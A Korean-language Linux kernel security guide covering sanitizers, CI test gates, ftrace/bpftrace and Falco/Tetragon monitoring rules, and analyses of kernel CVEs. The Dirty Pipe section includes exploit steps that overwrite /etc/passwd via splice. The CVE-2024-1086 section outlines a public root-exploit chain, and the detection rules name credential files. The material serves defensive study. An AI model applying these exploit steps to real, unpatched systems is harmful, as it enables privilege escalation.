| KASAN (SW_TAGS) | 동일 (확률적) | 30~50% | 적음 | 제한적 | CONFIG_KASAN_SW_TAGS=y |
| KASAN (HW_TAGS) | 동일 (ARM64 MTE) | 5~10% | 최소 | 가능 | CONFIG_KASAN_HW_TAGS=y |
| KFENCE | OOB, UAF (샘플링) | 1% 미만 | 최소 | 적합 | CONFIG_KFENCE=y |
| UBSAN | 정수 오버플로우, UB | 10~20% | 적음 | 제한적 | CONFIG_UBSAN=y |
| KCSAN | 데이터 레이스 | 수 배 | 적음 | 부적합 | CONFIG_KCSAN=y |
| lockdep | 데드락, 잠금 순서 | 중간 | 중간 | 부적합 | CONFIG_LOCKDEP=y |
| KMSAN | 초기화 안 된 메모리 읽기 | 수 배 | 2배 | 부적합 | CONFIG_KMSAN=y |
/* KASAN 보고 예시 — Use-After-Free 탐지 */
/*
==================================================================
BUG: KASAN: slab-use-after-free in nf_hook_slow+0x128/0x340
Read of size 4 at addr ffff888107a4c004 by task poc/1337
CPU: 2 PID: 1337 Comm: poc Not tainted 6.7.0-kasan #1
Call Trace:
dump_stack_lvl+0x48/0x70
print_report+0xce/0x670
kasan_report+0xc7/0x100
nf_hook_slow+0x128/0x340
ip_local_out+0xbc/0x130
Allocated by task 1337:
kmalloc+0xb4/0x100
nft_rule_alloc+0x48/0xe0
Freed by task 1337:
kfree+0x9a/0x120
nft_rule_destroy+0x3c/0x60
==================================================================
*/
/* KASAN 보고 해석:
* 1. "slab-use-after-free" → 해제된 slab 객체 접근
* 2. "Read of size 4" → 4바이트 읽기 시도
* 3. "Allocated by" / "Freed by" → 할당/해제 스택트레이스
* 4. 해제 후 접근까지의 경로를 추적하여 UAF 원인 분석 */
KASAN 모드별 상세 비교
/* KASAN 세 가지 모드 상세 비교 */
/* === 1. Generic KASAN (가장 정확, 가장 느림) ===
* 동작: 모든 메모리 접근에 shadow memory 검사 삽입
* shadow: 실제 메모리의 1/8 크기 shadow 영역 사용
* 각 8바이트당 1바이트 shadow = 접근 가능한 바이트 수
* shadow = 0: 8바이트 모두 접근 가능
* shadow = N (1~7): N바이트만 접근 가능
* shadow < 0: 접근 불가 (해제됨, 레드존 등)
* 장점: UAF, OOB를 바이트 정밀도로 탐지
* 단점: 2~3배 CPU, 메모리 1/8 추가 */
CONFIG_KASAN=y
CONFIG_KASAN_GENERIC=y
CONFIG_KASAN_INLINE=y /* 인라인 검사 (outline보다 빠름) */
CONFIG_KASAN_STACK=y /* 스택 변수 OOB 탐지 */
CONFIG_KASAN_VMALLOC=y /* vmalloc 영역 검사 */
/* === 2. SW_TAGS KASAN (중간 성능, ARM64 전용) ===
* 동작: 포인터 상위 비트에 태그 삽입
* 할당 시 랜덤 태그 설정, 해제 시 태그 변경
* 접근 시 포인터 태그와 메모리 태그 비교
* 장점: Generic보다 빠름 (30~50% 오버헤드)
* 단점: 확률적 탐지 (1/256 태그 충돌 가능)
* ARM64 TBI (Top Byte Ignore) 기능 활용 */
CONFIG_KASAN=y
CONFIG_KASAN_SW_TAGS=y
/* === 3. HW_TAGS KASAN (최소 오버헤드, ARM64 MTE 전용) ===
* 동작: ARM MTE (Memory Tagging Extension) 하드웨어 활용
* CPU가 메모리 접근 시 자동으로 태그 검사
* 소프트웨어 계측 불필요 → 최소 오버헤드
* 장점: 프로덕션에서도 사용 가능 (5~10% 오버헤드)
* 단점: ARM v8.5-A MTE 지원 CPU 필요 */
CONFIG_KASAN=y
CONFIG_KASAN_HW_TAGS=y
/* 부트 파라미터로 모드 전환 가능 */
/* kasan.mode=sync — 동기 검사 (정확, 느림) */
/* kasan.mode=async — 비동기 검사 (빠름, 보고 지연) */
/* kasan.mode=asymm — 읽기:비동기, 쓰기:동기 */
KMSAN: 초기화되지 않은 메모리 읽기 탐지
/* KMSAN (Kernel Memory Sanitizer) — 6.1+에서 도입 */
/* 초기화되지 않은 메모리 값 사용을 탐지 */
/* 탐지 대상:
* - 초기화 안 된 스택 변수 사용
* - memset 누락된 구조체 필드 사용
* - copy_to_user()로 초기화 안 된 데이터 전송
* → 정보 유출 취약점(CWE-200)의 근본 원인 */
CONFIG_KMSAN=y
/* 주의: KASAN과 동시 사용 불가
* Clang 컴파일러 필수 (GCC 미지원)
* 메모리 오버헤드: ~2배 */
/* KMSAN 보고 예시:
==================================================================
BUG: KMSAN: uninit-value in copy_to_user
Uninit was stored to memory at:
my_ioctl+0x48/0x100
Local variable description: info @ my_ioctl
Variable was created at:
my_ioctl+0x10/0x100
==================================================================
*/
/* KMSAN vs INIT_STACK_ALL_ZERO 비교:
* INIT_STACK_ALL_ZERO: 모든 스택 변수를 0으로 초기화 → 버그를 숨김
* KMSAN: 초기화 안 된 사용을 탐지 → 버그를 발견
* → 개발 환경에서는 KMSAN, 프로덕션에서는 INIT_STACK_ALL_ZERO 권장 */
CI/CD 파이프라인(Pipeline) 보안 테스트 통합
| 테스트 단계 | 도구 | 탐지 대상 | 실행 시간 |
|---|---|---|---|
| 정적 분석 | Sparse, Coccinelle, Smatch | 타입 오류, 잠금 누락, API 오용 | 분 단위 |
| 컴파일 경고 | GCC/Clang -W 플래그 | 잠재적 버그 패턴 | 빌드 시간 |
| 단위 퍼징 | syzkaller (제한 시간) | 메모리 오류, 경쟁 조건 | 시간 단위 |
| Sanitizer 테스트 | KASAN + UBSAN + KCSAN | 메모리/UB/레이스 | 2~3배 실행 시간 |
| Lockdep 테스트 | lockdep + CONFIG_PROVE_LOCKING | 데드락, 잠금 순서 | 1.5~2배 실행 시간 |
| 회귀 테스트 | kselftest, LTP | 기능 회귀 | 시간 단위 |
Fast Gate (10분): 컴파일 경고 0, Sparse 검사 통과, 기본 kselftest
Standard Gate (1시간): KASAN + UBSAN 활성화된 커널로 전체 kselftest 실행
Extended Gate (야간): syzkaller 퍼징 (서브시스템별), KCSAN + lockdep 테스트, LTP 전체
Weekly Gate: 전체 서브시스템 퍼징, 성능 회귀 벤치마크, KMSAN 테스트
ftrace/kprobe 기반 런타임 보안 감시
ftrace와 kprobe는 커널의 내장 추적 인프라로, 보안 관련 함수 호출을 실시간(Real-time)으로 모니터링할 수 있습니다. bpftrace를 활용하면 더 정교한 보안 모니터링 스크립트를 작성할 수 있습니다.
# ftrace를 이용한 보안 함수 추적
# 1) commit_creds 호출 추적 (권한 변경 감시)
cd /sys/kernel/debug/tracing
echo 0 > tracing_on
echo function > current_tracer
echo commit_creds > set_ftrace_filter
echo 1 > tracing_on
# 잠시 후 확인
cat trace | head -20
echo 0 > tracing_on
# 2) kprobe를 이용한 do_execve 인자 추적
echo 'p:exec_probe do_execve filename=+0(%si):string' > kprobe_events
echo 1 > events/kprobes/exec_probe/enable
echo 1 > tracing_on
# 프로세스 실행 후 확인
cat trace_pipe
/* bpftrace 보안 모니터링 스크립트 예제 */
/* 1) 권한 상승 실시간 감지 */
/* bpftrace -e 아래 내용을 실행 */
/*
kprobe:commit_creds {
$cred = (struct cred *)arg0;
$uid = $cred->uid.val;
if ($uid == 0) {
printf("ALERT: uid=0 credential commit by %s (PID %d)\n",
comm, pid);
printf(" Stack: %s\n", kstack);
}
}
*/
/* 2) 커널 모듈 로드 감시 */
/*
kprobe:do_init_module {
printf("MODULE LOAD: %s by %s (PID %d, UID %d)\n",
str(((struct module *)arg0)->name),
comm, pid, uid);
}
*/
/* 3) 민감 파일 접근 추적 */
/*
kprobe:vfs_open {
$path = str(((struct path *)arg0)->dentry->d_name.name);
if ($path == "shadow" || $path == "passwd") {
printf("SENSITIVE FILE ACCESS: %s by %s (PID %d)\n",
$path, comm, pid);
}
}
*/
/* 4) 비정상적인 mmap 실행 권한 요청 감시 */
/*
tracepoint:syscalls:sys_enter_mmap {
$prot = args->prot;
if (($prot & 0x4) && ($prot & 0x2)) { // PROT_EXEC | PROT_WRITE
printf("W+X MMAP: %s PID=%d prot=0x%x\n",
comm, pid, $prot);
}
}
*/
높음: commit_creds 호출 (uid 0 전환), 커널 모듈(Kernel Module) 로드, /etc/shadow 접근
중간: execve의 비정상 패턴, W+X 메모리 매핑, 네트워크 리스닝 포트 변경
낮음 (대량 이벤트): 일반 파일 접근, fork/clone, 정규 네트워크 트래픽
프로덕션 환경에서는 이벤트 볼륨을 관리하기 위해 Falco나 Tetragon 같은 eBPF 기반 보안 엔진의 사용을 권장합니다.
고급 bpftrace 보안 모니터링 패턴
/* 5) 컨테이너 탈출 시도 감지 (네임스페이스 변경 추적) */
/*
kprobe:switch_task_namespaces {
printf("NS SWITCH: %s (PID %d) → new nsproxy=%p\n",
comm, pid, arg1);
printf(" Stack: %s\n", kstack);
}
*/
/* 6) 커널 심볼 테이블 접근 감시 (KASLR 우회 시도) */
/*
kprobe:kallsyms_lookup_name {
printf("KALLSYMS LOOKUP: %s by %s (PID %d)\n",
str(arg0), comm, pid);
}
*/
/* 7) 비정상 ptrace 시도 감시 */
/*
tracepoint:syscalls:sys_enter_ptrace {
printf("PTRACE: request=%d pid=%d by %s (PID %d)\n",
args->request, args->pid, comm, pid);
}
*/
/* 8) io_uring 보안 이벤트 추적 (공격 표면 감시) */
/*
kprobe:io_uring_setup {
printf("IO_URING SETUP: entries=%d by %s (PID %d, UID %d)\n",
arg0, comm, pid, uid);
}
*/
perf trace를 이용한 시스콜 이상 탐지
# perf trace로 프로세스의 시스콜 패턴 분석
# 1) 특정 프로세스의 시스콜 추적
perf trace -p <PID> --duration 10
# 2) 보안 관련 시스콜만 필터링
perf trace -e 'ptrace,execve,clone,unshare,setuid,setgid,mount' \
--duration 60
# 3) 네트워크 관련 비정상 활동 추적
perf trace -e 'connect,bind,listen,accept*' --duration 30
# 4) 파일 접근 패턴 분석
perf trace -e 'open*,read,write,mmap,mprotect' -p <PID>
# 5) userfaultfd 사용 감시 (익스플로잇 도구 탐지)
perf trace -e 'userfaultfd' --duration 300
# 6) io_uring 관련 시스콜 감시
perf trace -e 'io_uring_setup,io_uring_enter,io_uring_register'
ftrace: 함수 추적 시 약 5~10% 오버헤드. 프로덕션에서는 set_ftrace_filter로 대상 함수를 최소화하세요.
kprobe: 개별 프로브(Probe)당 오버헤드는 미미하지만, 고빈도 함수(예: schedule())에 설정 시 성능 저하가 심합니다.
bpftrace: eBPF 기반으로 안전하지만, printf 빈도가 높으면 perf 버퍼 오버플로우가 발생할 수 있습니다. @count 등 집계(aggregation)를 활용하세요.
perf trace: 시스콜 단위 추적은 비교적 저비용이지만, I/O 집약적 워크로드에서는 영향이 있을 수 있습니다.
프로덕션 환경에서는 eBPF 기반 보안 엔진(Falco, Tetragon, Tracee)을 사용하여 이벤트 필터링과 집계를 커널 내에서 처리하는 것이 바람직합니다.
Falco/Tetragon 기반 보안 정책 예시
/* Falco 보안 규칙 예시 (YAML 형식) */
/* 규칙 1: 컨테이너 내에서 민감 파일 접근 감지 */
/*
- rule: Read sensitive file untrusted
desc: 컨테이너 프로세스가 /etc/shadow 등 민감 파일 읽기
condition: >
open_read and
sensitive_files and
container and
not proc.name in (trusted_readers)
output: >
Sensitive file opened (user=%user.name
command=%proc.cmdline file=%fd.name
container=%container.id image=%container.image.repository)
priority: WARNING
*/
/* 규칙 2: 권한 상승 감지 */
/*
- rule: Container privilege escalation
desc: 컨테이너 내에서 setuid/setgid 실행 감지
condition: >
spawned_process and
container and
proc.is_exe_upper_layer=true and
(proc.vpgid.name=root or user.uid=0)
output: >
Privilege escalation detected (user=%user.name
command=%proc.cmdline container=%container.id)
priority: CRITICAL
*/
/* Tetragon 보안 정책 예시 (eBPF 기반) */
/*
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: monitor-privilege-escalation
spec:
kprobes:
- call: "commit_creds"
args:
- index: 0
type: "nop"
selectors:
- matchActions:
- action: Sigkill # 권한 변경 시도 시 프로세스 종료
*/
실제 CVE 사례 심층 분석
실제 CVE 사례를 기술적으로 깊이 분석하면, 취약점 패턴의 본질과 방어 전략의 실효성을 체감할 수 있습니다. Dirty COW, Dirty Pipe, StackRot 세 가지 대표 사례를 공격 흐름, 근본 원인, 패치 전략 관점에서 비교 분석합니다.
Dirty Pipe 상세 분석
/* Dirty Pipe (CVE-2022-0847) 완전 분석 */
/* 핵심 원인: copy_page_to_iter_pipe()에서
* pipe_buffer의 flags 필드를 초기화하지 않음 */
/* 공격 단계 1: pipe 준비 (PIPE_BUF_FLAG_CAN_MERGE 설정) */
int pipefd[2];
pipe(pipefd);
/* pipe를 가득 채운 후 비움 → 모든 버퍼에 CAN_MERGE 플래그 설정 */
for (int i = 0; i < PIPE_DEF_BUFFERS; i++) {
write(pipefd[1], buf, sizeof(buf)); /* 각 버퍼에 CAN_MERGE 설정 */
}
for (int i = 0; i < PIPE_DEF_BUFFERS; i++) {
read(pipefd[0], buf, sizeof(buf)); /* 비우지만 플래그는 남음! */
}
/* 공격 단계 2: 대상 파일의 페이지 캐시를 pipe에 매핑 */
int fd = open("/etc/passwd", O_RDONLY);
lseek(fd, page_offset, SEEK_SET);
/* splice()는 파일의 페이지 캐시 페이지를 pipe에 매핑
* 이때 buf->flags를 초기화해야 하지만 하지 않음!
* → 이전 CAN_MERGE 플래그가 그대로 남음 */
splice(fd, &offset, pipefd[1], NULL, 1, 0);
/* 공격 단계 3: pipe에 쓰기 → 페이지 캐시 직접 수정! */
/* CAN_MERGE 플래그가 설정되어 있으므로
* write()가 새 버퍼를 할당하지 않고
* 기존 (페이지 캐시) 버퍼에 병합 → 읽기 전용 파일 수정 */
write(pipefd[1], payload, payload_len);
/* 수정 패치 (커밋 9d2231c5d74e): 단 1줄 */
/* copy_page_to_iter_pipe()에 buf->flags = 0; 추가 */
StackRot 상세 분석
/* StackRot (CVE-2023-3269) — Maple Tree RCU UAF */
/* 배경: Linux 6.1에서 VMA 관리를 rbtree → Maple Tree로 전환
* Maple Tree는 RCU를 사용한 잠금 없는(lock-free) 읽기를 지원
* 문제: 노드 교체 시 RCU grace period 전에 해제가 발생 */
/* 취약한 코드 경로 (개념적) */
static void mas_replace(struct ma_state *mas, bool advanced) {
/* 새 노드로 교체 */
rcu_assign_pointer(parent->slot[offset], new_node);
/* BUG: 이전 노드를 즉시 해제하는 경로가 존재
* 다른 CPU에서 RCU 읽기 섹션에서 이전 노드를 참조 중일 수 있음! */
mt_free_node(old_node); /* rcu_read_lock 내에서 접근 가능한 노드를 해제 */
}
/* 수정: RCU 콜백을 통한 지연 해제 */
static void mas_replace_fixed(struct ma_state *mas, bool advanced) {
rcu_assign_pointer(parent->slot[offset], new_node);
/* 수정: RCU grace period 이후에 해제 */
call_rcu(&old_node->rcu, mt_free_node_rcu);
}
/* 공격자의 악용 흐름:
* 1. mmap/munmap으로 Maple Tree 노드 교체 유발
* 2. 해제된 노드가 같은 slab에서 재할당 (힙 스프레이)
* 3. 재할당된 노드를 VMA 조회 경로가 참조
* 4. 조작된 VMA 데이터로 스택 피벗 → ROP → 권한 상승 */
사례 비교 종합
| 항목 | Dirty COW | Dirty Pipe | StackRot |
|---|---|---|---|
| CVE 번호 | CVE-2016-5195 | CVE-2022-0847 | CVE-2023-3269 |
| 취약점 유형 | Race Condition | 초기화 누락 | RCU UAF |
| CWE | CWE-362 | CWE-665 | CWE-416 |
| 영향 커널 | 2.6.22 ~ 4.8.3 | 5.8 ~ 5.16.11 | 6.1 ~ 6.4.1 |
| 잠복 기간 | ~9년 | ~2년 | ~6개월 |
| CVSS | 7.8 | 7.8 | 7.8 |
| 공격 전제 | 로컬 접근 | 로컬 접근 | 로컬 접근 |
| 익스플로잇 난이도 | 쉬움 | 매우 쉬움 | 어려움 |
| 실제 악용 | 광범위 | 제한적 | PoC 수준 |
| 패치 복잡도 | 중간 | 매우 간단 (1줄) | 복잡 (구조 재설계) |
| 서브시스템 | mm (GUP) | fs/pipe | mm (Maple Tree) |
| 방어 교훈 | TOCTOU 검증 필수 | 모든 필드 초기화 | RCU 생명주기 검증 |
1. 단순한 버그가 가장 위험합니다: Dirty Pipe는 단 1줄의 초기화 누락으로 발생했습니다. 복잡한 코드보다 기본적인 초기화 누락이 실제 공격에 가장 쉽게 악용됩니다.
2. 새로운 자료구조는 새로운 취약점을 만듭니다: StackRot는 Maple Tree 도입과 함께 발생했습니다. 새로운 커널 자료구조/API 도입 시 RCU 생명주기를 특히 주의해야 합니다.
3. 잠복 기간이 길수록 영향 범위가 큽니다: Dirty COW는 9년간 잠복하며 거의 모든 리눅스 시스템에 영향을 미쳤습니다. 정적 분석과 퍼징을 병행하여 잠재적 취약점을 조기에 발견하는 것이 중요합니다.
4. KASAN/KCSAN 상시 테스트: syzkaller + sanitizer 조합이 StackRot를 비교적 빠르게(6개월) 발견할 수 있었던 핵심 요인입니다.
nf_tables UAF (CVE-2024-1086) 상세 분석
/* CVE-2024-1086: nf_tables verdict 처리 UAF */
/* 근본 원인: nft_verdict_init()에서 NF_DROP에 양수 errno 허용 */
/* net/netfilter/nf_tables_api.c — 취약한 코드 */
static int nft_verdict_init(const struct nft_ctx *ctx,
struct nft_data *data,
const struct nlattr *nla) {
u32 verdict = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));
switch (verdict) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
/* BUG: NF_DROP(0) + 양수 errno → NF_DROP이 아닌 값으로 해석
* 예: verdict = NF_DROP | (NF_ACCEPT << 16)
* → nf_hook_slow()에서 NF_ACCEPT로 처리
* → 이미 drop 처리된 skb가 accept됨 → double-free/UAF */
break;
case NF_STOLEN:
/* ... */
}
data->verdict.code = verdict; /* 검증 안 된 verdict 저장 */
}
/* net/netfilter/core.c — nf_hook_slow에서 verdict 해석 */
int nf_hook_slow(struct sk_buff *skb, ...) {
switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
/* 패킷 계속 처리 → skb 사용 */
break;
case NF_DROP:
/* 패킷 폐기 → skb 해제 */
kfree_skb(skb);
break;
}
/* verdict가 NF_DROP이지만 NF_ACCEPT로 해석되면
* skb가 해제된 후에도 계속 사용됨 → UAF */
}
/* 수정 패치: verdict 검증 강화 */
case NF_DROP:
if (data->verdict.code & ~NF_VERDICT_MASK)
return -EINVAL; /* NF_DROP에 추가 비트가 있으면 거부 */
break;
이 취약점의 공개된 익스플로잇은 다음 단계로 구성됩니다:
1. nft 규칙 설정으로 조작된 verdict 트리거
2. skb double-free → 힙 스프레이로 skb 영역 재할당
3. page_pool 객체를 이용한 물리 페이지 정보 유출
4. 물리 주소(Physical Address)를 이용한 DMA(Direct Memory Access) 매핑 → 임의 읽기/쓰기
5. modprobe_path 덮어쓰기 → root 권한 획득
이 익스플로잇은 대부분의 주요 배포판(Ubuntu 22.04, Debian 12 등)에서 동작하며, 공개 후 24시간 내에 긴급 패치가 배포되었습니다.
io_uring 취약점 패턴
io_uring은 Linux 5.1에서 도입된 고성능 비동기 I/O 인터페이스로, 복잡한 비동기 상태 관리로 인해 다수의 보안 취약점이 발견되었습니다. 2022~2024년 사이에 50건 이상의 CVE가 할당되었으며, Google Android와 ChromeOS에서는 io_uring을 기본 비활성화한 바 있습니다.
io_uring 취약점 패턴 분석
- 패턴 1: 참조 카운트 관리 오류
- io_uring의 비동기 요청은 여러 경로에서 완료될 수 있어 참조 카운트 관리가 매우 복잡합니다.
req->refs또는file->f_count불일치가 발생하면 UAF로 이어집니다. - 패턴 2: 파일 디스크립터 생명주기 불일치
- io_uring이 fd를 캐싱하는 동안 사용자가
close()를 호출하면, 해제된struct file에 대한 참조가 유지되어 UAF가 발생합니다. - 패턴 3: 잠금 순서 위반
- io_uring의 내부 잠금과 커널 서브시스템 잠금 간 순서 불일치로 데드락 또는 경쟁 조건이 발생합니다.
- 패턴 4: 크리덴셜 혼동
- io_uring은 제출(submit) 시점과 실행 시점의 크리덴셜이 다를 수 있어, 권한 검사를 우회할 수 있습니다.
방어 권장사항:
- 프로덕션: seccomp으로 io_uring 시스콜 차단을 검토합니다 (
io_uring_setup,io_uring_enter,io_uring_register). - 컨테이너: io_uring 접근을 기본 차단합니다.
- 커널:
CONFIG_IO_URING=n(불필요한 경우) - 테스트: syzkaller io_uring 퍼징을 강화합니다.
eBPF 검증기(verifier) 우회 취약점
/* eBPF 검증기 우회 취약점 패턴 */
/* eBPF 프로그램은 커널 내에서 실행되므로
* verifier가 안전성을 정적으로 검증합니다:
* - 범위 추적 (value range tracking)
* - 타입 검증 (type checking)
* - 메모리 접근 검증 (bounds checking)
* - 반복 제한 (loop termination) */
/* 우회 패턴 1: 범위 추적 혼동
* verifier가 추적하는 레지스터 범위와
* 실제 실행 시 값이 다른 경우
* → OOB 읽기/쓰기 */
/* 개념적 예시 */
/*
BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, 1),
// verifier: reg0 범위 = [1, MAX]
// 실제: 정수 오버플로우로 reg0 = 0
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
// verifier: 안전한 접근으로 판단
// 실제: NULL 근처 메모리 접근 → 정보 유출
*/
/* 우회 패턴 2: 탈투기적(speculation) 공격
* verifier는 정상 경로만 검증하지만
* CPU의 투기적 실행은 다른 경로를 실행할 수 있음
* → Spectre v1 스타일의 사이드채널 */
/* 방어:
* - kernel.unprivileged_bpf_disabled=1 (필수)
* - CONFIG_BPF_UNPRIV_DEFAULT_OFF=y
* - BPF_F_SLEEPABLE 플래그 검증 강화
* - verifier의 범위 추적 정밀도 지속 개선 */
https://syzkaller.appspot.com — syzbot 자동 탐지 버그 대시보드
https://git.kernel.org/pub/scm/linux/security/vulns.git/ — 커널 보안 CVE 공식 추적
https://www.cvedetails.com/vendor/33/Linux.html — Linux CVE 데이터베이스
https://github.com/google/syzkaller — syzkaller 퍼저 소스 코드
https://lwn.net/Kernel/ — LWN.net 커널 보안 뉴스
Documentation/process/security-bugs.rst — 커널 보안 버그 보고 절차
Documentation/admin-guide/hw-vuln/ — 하드웨어 취약점 완화 가이드
관련 문서
- 커널 보안 — LSM, SELinux, seccomp, Audit
- 최적화 — 성능 vs 보안 트레이드오프
- 디버깅(Debugging) — 커널 크래시 분석
- KASAN — Kernel Address Sanitizer 상세
- 동기화 기법 — 경쟁 조건 방지를 위한 동기화 프리미티브
- 메모리 배리어 — 메모리 순서 보장(Ordering)과 데이터 레이스 방지
- RCU — Read-Copy-Update와 UAF 방지 패턴
- ftrace/Tracepoints — 커널 함수 추적과 보안 모니터링
- BPF/eBPF/XDP — eBPF 기반 보안 정책과 모니터링
- LSM/Seccomp — 공격 표면 축소를 위한 접근 제어
- Livepatch — 재부팅 없는 보안 패치 적용
- 네임스페이스 — 컨테이너 격리와 보안 경계
- cgroups — 리소스 제한과 격리
- 커널 하드닝 — KASLR, CFI, Lockdown, Spectre/Meltdown 방어
외부 참고 자료
- Hardware Vulnerabilities — Kernel Admin Guide — Spectre, Meltdown, MDS, L1TF 등 하드웨어 취약점 공식 대응 가이드입니다
- Linux Kernel CVE Details — 리눅스 커널 CVE 취약점 데이터베이스입니다
- Kernel ChangeLog — 커널 버전별 변경 사항 및 보안 수정 내역입니다
- syzkaller — Kernel Fuzzer — Google의 커널 퍼저로 많은 취약점을 발견합니다
- syzbot Dashboard — syzkaller 자동 버그 리포트 대시보드입니다
- Meltdown and Spectre — Meltdown/Spectre 취약점 공식 정보 페이지입니다
- Google Project Zero Blog — 커널 취약점 분석으로 유명한 Project Zero 블로그입니다
- Linux Kernel Exploitation — GitHub — 리눅스 커널 익스플로잇 기법 및 자료 모음입니다
- LWN.net Kernel — 커널 개발 뉴스 및 보안 취약점 분석 기사를 제공합니다
- CVE Process — Kernel Documentation — 커널 CVE 할당 및 처리 프로세스 공식 문서입니다
- Red Hat Security Advisories — Red Hat 커널 보안 권고 및 패치 정보입니다
- Ubuntu CVE Tracker — Ubuntu 커널 CVE 추적 시스템입니다